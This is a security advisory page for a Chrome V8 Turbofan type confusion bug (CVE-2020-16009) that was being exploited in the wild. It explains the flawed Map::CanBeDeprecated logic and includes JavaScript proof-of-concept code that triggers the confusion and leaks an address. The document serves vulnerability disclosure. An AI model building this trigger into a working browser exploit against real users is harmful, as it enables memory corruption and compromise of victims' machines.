Chrome V8 Turbofan Type Confusion

2020.11.15
Credit: saelo
Risk: Low
Local: No
Remote: Yes
CWE: CWE-787


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

V8: Turbofan fails to deoptimize code after map deprecation, leading to type confusion NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline. VULNERABILITY DETAILS When turbofan compiles code that performs a Map transition, it usually installs a CodeDependency so that the resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now transition to a different Map). This is done through the TransitionDependencyOffTheRecord function [1]. This function will only install the dependency if the target Map can be deprecated, which is determined by Map::CanBeDeprecated [2], shown next bool Map::CanBeDeprecated() const { for (InternalIndex i : IterateOwnDescriptors()) { PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i); if (details.representation().IsNone()) return true; if (details.representation().IsSmi()) return true; if (details.representation().IsDouble() && FLAG_unbox_double_fields) <--- return true; if (details.representation().IsHeapObject()) return true; if (details.kind() == kData && details.location() == kDescriptor) { return true; } } return false; } As can be seen, this function assumes that a Map storing only fields of type Double or Tagged can not be deprecated if FLAG_unbox_double_fields is false, which is the case if pointer compression is enabled (the default on x64). This appears to be incorrect, as the following code demonstrated: // Requires --nomodify-field-representation-inplace function poc() { function hax(o) { o.a = 13.37; } let o1 = {}; for (let i = 0; i < 100000; i++) { let o = i == 1000 ? {} : o1; hax(o); } let o2 = {}; o2.a = {}; // Map1 is now deprecated // %HaveSameMap(o2, o1) === false let o3 = {}; hax(o3); // o3 was now transitioned to a deprecated map %DebugPrint(o3); // ... // - deprecated_map } %NeverOptimizeFunction(poc); poc(); This code ends up performing a new transition to a deprecated map. This bug can be exploited when combined with the in-place field generalization mechanism. In short, the idea is to 1. JIT compile a function that performs a transition from map1{a:double} to map2{a:double,b:whatever} 2. Deprecate map2. This does not deoptimize the JIT code since map2 was thought to not be deprecatable 3. In-place generalize map1.a to type tagged. This will not also generalize map2 since it is deprecated. 4. Execute the JIT code. This will effectively transition from map1{a:tagged} to map2{a:double,b:whatever}, which is incorrect and results in a type confusion. The following code achieves that and causes a check failure in debug builds: \"Debug check failed: value.IsHeapNumber().\" while printing (presumably) an address in release builds. REPRODUCTION CASE // Tested on v8 built from current HEAD (dd84c3937058b086b6b7a412ac352179e20bd9c7) // Requires --allow-natives-syntax function assert(c) { if (!c) { throw \"Assertion failed\"; } } function assertFalse(c) { assert(!c); } function poc() { function hax(o) { o.c = 13.37; } function makeObjWithMap5() { let o = {}; o.a = 13.37; o.b = {}; return o } // Create a bunch of Maps. See the assertions for their relationships let m1 = {}; let m2 = {}; assert(%HaveSameMap(m2, m1)); m2.a = 13.37; let m3 = {}; m3.a = 13.37; assert(%HaveSameMap(m3, m2)); m3.b = 1; let m4 = {}; m4.a = 13.37; m4.b = 1; assert(%HaveSameMap(m4, m3)); m4.c = {}; let m4_2 = {}; m4_2.a = 13.37; m4_2.b = 1; m4_2.c = {}; assert(%HaveSameMap(m4_2, m4)); let m5 = {}; m5.a = 13.37; assert(%HaveSameMap(m5, m2)); m5.b = 13.37; assertFalse(%HaveSameMap(m5, m3)); // At this point, Map3 and Map4 are both deprecated. Map2 transitions to Map5. // Map5 is the migration target for Map3. The Migration target for Map4 is a new Map assertFalse(%HaveSameMap(m5, m3)); let m6 = makeObjWithMap5(); assert(%HaveSameMap(m6, m5)); hax(m6); let kaputt = makeObjWithMap5(); assert(%HaveSameMap(kaputt, m5)); for (let i = 0; i < 100000; i++) { let o = i == 1337 ? makeObjWithMap5() : m6; hax(o); } // Map4 is deprecated, so this property access triggers a Map migration. // This will end up creating a new Map, Map7, to which both Map4 and Map6 // migrate. Map5's transition entry afterwards points to Map7 and no // longer to Map6. Map6 is deprecated. let m7 = m4_2; assert(%HaveSameMap(m7, m4)); m7.c; assertFalse(%HaveSameMap(m7, m4)); // However, hax was not deoptimized and still transitions to Map6 because // Map::CanBeDeprecated returns false for it. // This does a in-place map generalization of Map5 and Map7, but not Map6. // Map6 still indicates that .a should be a double field. kaputt.a = \"asdf\"; assert(%HaveSameMap(kaputt, m5)); // This now migrates to the wrong map (Map6) because hax was not deoptimized. // This is incorrect because .a now stores a HeapObject and not a double. hax(kaputt); // This now fails in debug builds %HeapObjectVerify(kaputt); // This prints (presumably) an address in release builds console.log(kaputt.a); } %NeverOptimizeFunction(poc); poc(); CREDIT INFORMATION Clement Lecigne of Google's Threat Analysis Group and Samuel Gro\u00df of Google Project Zero NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline. [1] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/compiler/compilation-dependencies.cc;l=641;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1 [2] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/objects/map-inl.h;l=563;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1 Related CVE Numbers: CVE-2020-16009. Found by: saelo@google.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top